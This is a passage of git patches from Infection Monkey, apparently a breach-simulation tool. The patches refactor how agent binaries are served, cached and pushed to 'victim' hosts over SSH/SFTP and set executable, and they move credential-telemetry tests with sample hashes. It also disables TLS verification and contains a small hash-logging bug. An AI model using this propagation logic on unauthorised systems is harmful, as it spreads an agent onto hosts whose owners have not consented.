a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index ee77091af..644cea758 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,63 +1,34 @@ import hashlib -import json import logging -import os +from pathlib import Path import flask_restful -from flask import request, send_from_directory +from flask import make_response, send_from_directory from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) -MONKEY_DOWNLOADS = [ - { - "type": "linux", - "filename": "monkey-linux-64", - }, - { - "type": "windows", - "filename": "monkey-windows-64.exe", - }, -] +AGENTS = { + "linux": "monkey-linux-64", + "windows": "monkey-windows-64.exe", +} -def get_monkey_executable(host_os): - for download in MONKEY_DOWNLOADS: - if host_os == download.get("type"): - logger.info(f"Monkey exec found for os: {host_os}") - return download - logger.warning(f"No monkey executables could be found for the host os: {host_os}") - return None +class UnsupportedOSError(Exception): + pass class MonkeyDownload(flask_restful.Resource): # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path) - - # Used by monkey. can't secure. - def post(self): - host_json = json.loads(request.data) - host_os = host_json.get("os") - if host_os: - result = get_monkey_executable(host_os.get("type")) - - if result: - # change resulting from new base path - executable_filename = result["filename"] - real_path = MonkeyDownload.get_executable_full_path(executable_filename) - if os.path.isfile(real_path): - result["size"] = os.path.getsize(real_path) - return result - - return {} - - @staticmethod - def get_executable_full_path(executable_filename): - real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename) - return real_path + def get(self, host_os): + try: + path = get_agent_executable_path(host_os) + return send_from_directory(path.parent, path.name) + except UnsupportedOSError as ex: + logger.error(ex) + return make_response({"error": str(ex)}, 404) @staticmethod def log_executable_hashes(): @@ -65,16 +36,30 @@ class MonkeyDownload(flask_restful.Resource): Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). """ - filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) + filenames = set(AGENTS.values()) for filename in filenames: - filepath = MonkeyDownload.get_executable_full_path(filename) - if os.path.isfile(filepath): + filepath = get_executable_full_path(filename) + if filepath.is_file(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - logger.debug( - "{} hashes:\nSHA-256 {}".format( - filename, hashlib.sha256(file_contents).hexdigest() - ) - ) + file_sha256_hash = filename, hashlib.sha256(file_contents).hexdigest() + logger.debug(f"{filename} hash:\nSHA-256 {file_sha256_hash}") else: - logger.debug("No monkey executable for {}.".format(filepath)) + logger.debug(f"No monkey executable for {filepath}") + + +def get_agent_executable_path(host_os: str) -> Path: + try: + agent_path = get_executable_full_path(AGENTS[host_os]) + logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}") + + return agent_path + except KeyError: + logger.warning(f"No monkey executables could be found for the host os: {host_os}") + raise UnsupportedOSError( + f'No Agents are available for unsupported operating system "{host_os}"' + ) + + +def get_executable_full_path(executable_filename: str) -> Path: + return Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "binaries" / executable_filename diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index 4cdd89479..6059ceb71 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -5,8 +5,8 @@ import stat import subprocess from shutil import copyfile -from monkey_island.cc.resources.monkey_download import get_monkey_executable -from monkey_island.cc.server_utils.consts import ISLAND_PORT, MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.resources.monkey_download import get_agent_executable_path +from monkey_island.cc.server_utils.consts import ISLAND_PORT from monkey_island.cc.services.utils.network_utils import local_ip_addresses logger = logging.getLogger(__name__) @@ -25,12 +25,13 @@ class LocalMonkeyRunService: @staticmethod def run_local_monkey(): # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower()) - if not result: - return False, "OS Type not found" + try: + src_path = get_agent_executable_path(platform.system().lower()) + except Exception as ex: + logger.error(f"Error running agent from island: {ex}") + return False, str(ex) - src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_path = os.path.join(LocalMonkeyRunService.DATA_DIR, result["filename"]) + dest_path = LocalMonkeyRunService.DATA_DIR / src_path.name # copy the executable to temp path (don't run the monkey from its current location as it may # delete itself) From 50ca81f0fc3996480f98b7c851a5e5e72790dfd3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:27:59 -0500 Subject: [PATCH 0595/1110] Agent: Add IAgentRepository --- monkey/infection_monkey/exploit/__init__.py | 1 + .../exploit/i_agent_repository.py | 21 +++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100644 monkey/infection_monkey/exploit/i_agent_repository.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 42d8d18bf..105d7947e 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1 +1,2 @@ +from .i_agent_repository import IAgentRepository from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/i_agent_repository.py b/monkey/infection_monkey/exploit/i_agent_repository.py new file mode 100644 index 000000000..f63ca4038 --- /dev/null +++ b/monkey/infection_monkey/exploit/i_agent_repository.py @@ -0,0 +1,21 @@ +import abc +import io + + +class IAgentRepository(metaclass=abc.ABCMeta): + """ + IAgentRepository provides an interface for other components to access agent binaries. Notably, + this is used by exploiters during propagation to retrieve the appropriate agent binary so that + it can be uploaded to a victim and executed. + """ + + @abc.abstractmethod + def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO: + """ + Retrieve the appropriate agent binary from the repository. + :param str os: The name of the operating system on which the agent binary will run + :param str architecture: Reserved + :return: A file-like object for the requested agent binary + :rtype: io.BytesIO + """ + pass From c888c84e64288101cdcb6da971a6dacf95b762d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:28:48 -0500 Subject: [PATCH 0596/1110] Agent: Add CachingAgentRepository --- monkey/infection_monkey/exploit/__init__.py | 1 + .../exploit/caching_agent_repository.py | 37 +++++++++++++++++++ 2 files changed, 38 insertions(+) create mode 100644 monkey/infection_monkey/exploit/caching_agent_repository.py diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 105d7947e..7e5733502 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,2 +1,3 @@ from .i_agent_repository import IAgentRepository +from .caching_agent_repository import CachingAgentRepository from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py new file mode 100644 index 000000000..2e52990b9 --- /dev/null +++ b/monkey/infection_monkey/exploit/caching_agent_repository.py @@ -0,0 +1,37 @@ +import io +from functools import lru_cache +from typing import Mapping + +import requests + +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT + +from . import IAgentRepository + + +class CachingAgentRepository(IAgentRepository): + """ + CachingAgentRepository implements the IAgentRepository interface and downloads the requested + agent binary from the island on request. The agent binary is cached so that only one request is + actually sent to the island for each requested binary. + """ + + def __init__(self, island_url: str, proxies: Mapping[str, str]): + self._island_url = island_url + self._proxies = proxies + + def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO: + return io.BytesIO(self._download_binary_from_island(os)) + + @lru_cache(maxsize=None) + def _download_binary_from_island(self, os: str) -> bytes: + response = requests.get( # noqa: DUO123 + f"{self._island_url}/api/monkey/download/{os}", + verify=False, + proxies=self._proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + + response.raise_for_status() + + return response.content From cc9cfc5e3b6f865623732a3300f20f58ec7e4d97 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:43:20 -0500 Subject: [PATCH 0597/1110] Agent: Inject IAgentRepository into exploiters --- .../infection_monkey/exploit/HostExploiter.py | 11 +++++++++- .../exploit/exploiter_wrapper.py | 20 +++++++++++++++---- monkey/infection_monkey/monkey.py | 7 +++++-- 3 files changed, 31 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index b74dc3871..69924b61a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -9,6 +9,8 @@ from infection_monkey.config import WormConfiguration from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from . import IAgentRepository + logger = logging.getLogger(__name__) @@ -67,9 +69,16 @@ class HostExploiter: ) # TODO: host should be VictimHost, at the moment it can't because of circular dependency - def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + def exploit_host( + self, + host, + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, + options: Dict, + ): self.host = host self.telemetry_messenger = telemetry_messenger + self.agent_repository = agent_repository self.options = options self.pre_exploit() diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index 444c89b31..c621ecaea 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -3,6 +3,7 @@ from typing import Dict, Type from infection_monkey.model import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from . import IAgentRepository from .HostExploiter import HostExploiter @@ -16,17 +17,28 @@ class ExploiterWrapper: class Inner: def __init__( - self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger + self, + exploit_class: Type[HostExploiter], + telemetry_messenger: ITelemetryMessenger, + agent_repository: IAgentRepository, ): self._exploit_class = exploit_class self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository def exploit_host(self, host: VictimHost, options: Dict): exploiter = self._exploit_class() - return exploiter.exploit_host(host, self._telemetry_messenger, options) + return exploiter.exploit_host( + host, self._telemetry_messenger, self._agent_repository, options + ) - def __init__(self, telemetry_messenger: ITelemetryMessenger): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository + ): self._telemetry_messenger = telemetry_messenger + self._agent_repository = agent_repository def wrap(self, exploit_class: Type[HostExploiter]): - return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger) + return ExploiterWrapper.Inner( + exploit_class, self._telemetry_messenger, self._agent_repository + ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3fb26f348..eaa6e0d90 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) -from infection_monkey.exploit import ExploiterWrapper +from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType @@ -200,7 +200,10 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) - exploit_wrapper = ExploiterWrapper(self.telemetry_messenger) + agent_repoitory = CachingAgentRepository( + f"https://{self._default_server}", ControlClient.proxies + ) + exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory) puppet.load_plugin( "SSHExploiter", From c93835245c11c005f9d29d2bd1d5453f68811fd8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 15:46:48 -0500 Subject: [PATCH 0598/1110] Agent: Use IAgentRepository in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 31 +++++++++++----------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 39544a93c..0192ae3ed 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -4,12 +4,11 @@ import time import paramiko -import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target @@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter): _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: - self.host.os["type"] = "linux" self.exploit_result.os = "linux" else: self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" @@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - src_path = get_target_monkey(self.host) + agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os) - if not src_path: + if not agent_binary_file_object: self.exploit_result.error_message = ( f"Can't find suitable monkey executable for host {self.host}" ) @@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter): return self.exploit_result try: - ftp = ssh.open_sftp() - - self._update_timestamp = time.time() - with monkeyfs.open(src_path) as file_obj: + with ssh.open_sftp() as ftp: + self._update_timestamp = time.time() ftp.putfo( - file_obj, + agent_binary_file_object, self.options["dropper_target_path_linux"], - file_size=monkeyfs.getsize(src_path), + file_size=len(agent_binary_file_object.getbuffer()), callback=self.log_transfer, ) - self._make_agent_executable(ftp) - status = ScanStatus.USED - ftp.close() + self._set_executable_bit_on_agent_binary(ftp) + + status = ScanStatus.USED except Exception as exc: self.exploit_result.error_message = ( f"Error uploading file into victim {self.host}: ({exc})" @@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter): self.telemetry_messenger.send_telemetry( T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + status, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + self.options["dropper_target_path_linux"], ) ) if status == ScanStatus.SCANNED: @@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result - def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient): + def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient): ftp.chmod(self.options["dropper_target_path_linux"], 0o700) self.telemetry_messenger.send_telemetry( T1222Telem( From 52c041379765d41ef3767c0c3bea9bf12b28972d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 11:31:47 +0200 Subject: [PATCH 0599/1110] Island, UT: remove credential processing from exploit telemetry Credentials should be sent via credential telemetry, not exploit telemetry. This will remove the need to maintain duplicate code of credential extraction --- monkey/infection_monkey/exploit/zerologon.py | 2 + .../services/telemetry/processing/exploit.py | 15 -- .../exploitations/test_monkey_exploitation.py | 134 ++++++++++++- .../cc/services/reporting/test_report.py | 183 ------------------ 4 files changed, 131 insertions(+), 203 deletions(-) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index a882b17de..f05983d92 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -276,6 +276,8 @@ class ZerologonExploiter(HostExploiter): ) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: + # TODO exploit_info["credentials"] is discontinued, + # refactor to send a credential telemetry self.exploit_info["credentials"].update( { user: { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index a867267d0..d035dedd3 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,7 +4,6 @@ import dateutil from monkey_island.cc.models import Monkey from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import ( @@ -20,7 +19,6 @@ def process_exploit_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) - add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), @@ -31,19 +29,6 @@ def process_exploit_telemetry(telemetry_json): ) -def add_exploit_extracted_creds_to_config(telemetry_json): - if "credentials" in telemetry_json["data"]["info"]: - creds = telemetry_json["data"]["info"]["credentials"] - for user in creds: - ConfigService.creds_add_username(creds[user]["username"]) - if "password" in creds[user] and creds[user]["password"]: - ConfigService.creds_add_password(creds[user]["password"]) - if "lm_hash" in creds[user] and creds[user]["lm_hash"]: - ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) - if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: - ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) - - def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): for attempt in telemetry_json["data"]["attempts"]: if attempt["result"]: diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py index 1c0377807..9995ba795 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -1,13 +1,137 @@ -from tests.unit_tests.monkey_island.cc.services.reporting.test_report import ( - NODE_DICT, - NODE_DICT_DUPLICATE_EXPLOITS, - NODE_DICT_FAILED_EXPLOITS, -) +import datetime +from copy import deepcopy + +from bson import ObjectId from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_exploits_used_on_node, ) +TELEM_ID = { + "exploit_creds": ObjectId(b"123456789000"), + "system_info_creds": ObjectId(b"987654321000"), + "no_creds": ObjectId(b"112233445566"), + "monkey": ObjectId(b"665544332211"), +} +MONKEY_GUID = "67890" +USER = "user-name" +PWD = "password123" +LM_HASH = "e52cac67419a9a22664345140a852f61" +NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" +VICTIM_IP = "0.0.0.0" +VICTIM_DOMAIN_NAME = "domain-name" +HOSTNAME = "name-of-host" + +# Below telem constants only contain fields relevant to current tests + +EXPLOIT_TELEMETRY_TELEM = { + "_id": TELEM_ID["exploit_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": { + "credentials": { + USER: { + "username": USER, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, + }, +} + +SYSTEM_INFO_TELEMETRY_TELEM = { + "_id": TELEM_ID["system_info_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "system_info", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "data": { + "credentials": { + USER: { + "password": PWD, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, +} + +NO_CREDS_TELEMETRY_TELEM = { + "_id": TELEM_ID["no_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": {"credentials": {}}, + }, +} + +MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} + +NODE_DICT = { + "id": "602f62118e30cf35830ff8e4", + "label": "WinDev2010Eval.mshome.net", + "group": "monkey_windows", + "os": "windows", + "dead": True, + "exploits": [ + { + "exploitation_result": True, + "exploiter": "DrupalExploiter", + "info": { + "display_name": "Drupal Server", + "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + { + "exploitation_result": True, + "exploiter": "ZerologonExploiter", + "info": { + "display_name": "Zerologon", + "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + ], +} + +NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] + +NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False + def test_get_exploits_used_on_node__2_exploits(): exploits = get_exploits_used_on_node(NODE_DICT) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py deleted file mode 100644 index bfe19ea83..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ /dev/null @@ -1,183 +0,0 @@ -import datetime -from copy import deepcopy - -import mongoengine -import pytest -from bson import ObjectId - -from monkey_island.cc.models.telemetries import save_telemetry -from monkey_island.cc.services.reporting.report import ReportService - -TELEM_ID = { - "exploit_creds": ObjectId(b"123456789000"), - "system_info_creds": ObjectId(b"987654321000"), - "no_creds": ObjectId(b"112233445566"), - "monkey": ObjectId(b"665544332211"), -} -MONKEY_GUID = "67890" -USER = "user-name" -PWD = "password123" -LM_HASH = "e52cac67419a9a22664345140a852f61" -NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" -VICTIM_IP = "0.0.0.0" -VICTIM_DOMAIN_NAME = "domain-name" -HOSTNAME = "name-of-host" - -# Below telem constants only contain fields relevant to current tests - -EXPLOIT_TELEMETRY_TELEM = { - "_id": TELEM_ID["exploit_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": { - "credentials": { - USER: { - "username": USER, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, - }, -} - -SYSTEM_INFO_TELEMETRY_TELEM = { - "_id": TELEM_ID["system_info_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "system_info", - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "command_control_channel": { - "src": "192.168.56.1", - "dst": "192.168.56.2", - }, - "data": { - "credentials": { - USER: { - "password": PWD, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, -} - -NO_CREDS_TELEMETRY_TELEM = { - "_id": TELEM_ID["no_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "command_control_channel": { - "src": "192.168.56.1", - "dst": "192.168.56.2", - }, - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": {"credentials": {}}, - }, -} - -MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} - -NODE_DICT = { - "id": "602f62118e30cf35830ff8e4", - "label": "WinDev2010Eval.mshome.net", - "group": "monkey_windows", - "os": "windows", - "dead": True, - "exploits": [ - { - "exploitation_result": True, - "exploiter": "DrupalExploiter", - "info": { - "display_name": "Drupal Server", - "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "origin": "MonkeyIsland : 192.168.56.1", - }, - { - "exploitation_result": True, - "exploiter": "ZerologonExploiter", - "info": { - "display_name": "Zerologon", - "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), - "origin": "MonkeyIsland : 192.168.56.1", - }, - ], -} - -NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] - -NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False -NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False - - -@pytest.fixture -def fake_mongo(monkeypatch): - mongo = mongoengine.connection.get_connection() - monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) - return mongo - - -@pytest.mark.usefixtures("uses_database") -def test_get_stolen_creds_exploit(fake_mongo): - fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) - - stolen_creds_exploit = ReportService.get_stolen_creds() - expected_stolen_creds_exploit = [ - {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, - {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_exploit == stolen_creds_exploit - - -@pytest.mark.slow -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_get_stolen_creds_from_db(fake_mongo): - fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) - - stolen_creds_system_info = ReportService.get_stolen_creds() - expected_stolen_creds_from_db = [ - {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, - {"origin": HOSTNAME, "type": "LM hash", "username": USER}, - {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_from_db == stolen_creds_system_info - - -@pytest.mark.usefixtures("uses_database") -def test_get_stolen_creds_no_creds(fake_mongo): - fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - save_telemetry(NO_CREDS_TELEMETRY_TELEM) - - stolen_creds_no_creds = ReportService.get_stolen_creds() - expected_stolen_creds_no_creds = [] - - assert expected_stolen_creds_no_creds == stolen_creds_no_creds From 1d15288b648c3f32996dd8905a5eb60f97e0e13a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Feb 2022 12:29:18 +0200 Subject: [PATCH 0600/1110] Agent, Island: remove/rename system info collection infrastructure System info collectors got replaced with credential collectors. Infrastructure in the code needs to be renamed accordingly --- ...names.py => credential_collector_names.py} | 0 monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/dropper.py | 1 - .../master/automated_master.py | 2 +- ...infection_monkey.system_info.collectors.py | 6 - .../system_info/SSH_info_collector.py | 112 ------------------ .../infection_monkey/system_info/__init__.py | 76 ------------ .../system_info/collectors/__init__.py | 3 - .../system_info/linux_info_collector.py | 26 ---- .../system_info/system_info_collector.py | 42 ------- .../system_info_collectors_handler.py | 35 ------ .../system_info/windows_info_collector.py | 53 --------- .../telemetry/system_info_telem.py | 20 ---- .../cc/resources/telemetry_feed.py | 6 +- .../services/config_schema/config_schema.py | 8 +- ...ses.py => credential_collector_classes.py} | 8 +- .../cc/services/config_schema/monkey.py | 12 +- .../system_info_telemetry_dispatcher.py | 59 --------- .../configuration-components/UiSchema.js | 4 +- .../components/utils/SafeOptionValidator.js | 6 +- .../telemetry/test_system_info_telem.py | 20 ---- vulture_allowlist.py | 6 - 22 files changed, 23 insertions(+), 483 deletions(-) rename monkey/common/common_consts/{system_info_collectors_names.py => credential_collector_names.py} (100%) delete mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py delete mode 100644 monkey/infection_monkey/system_info/SSH_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/__init__.py delete mode 100644 monkey/infection_monkey/system_info/collectors/__init__.py delete mode 100644 monkey/infection_monkey/system_info/linux_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/system_info_collector.py delete mode 100644 monkey/infection_monkey/system_info/system_info_collectors_handler.py delete mode 100644 monkey/infection_monkey/system_info/windows_info_collector.py delete mode 100644 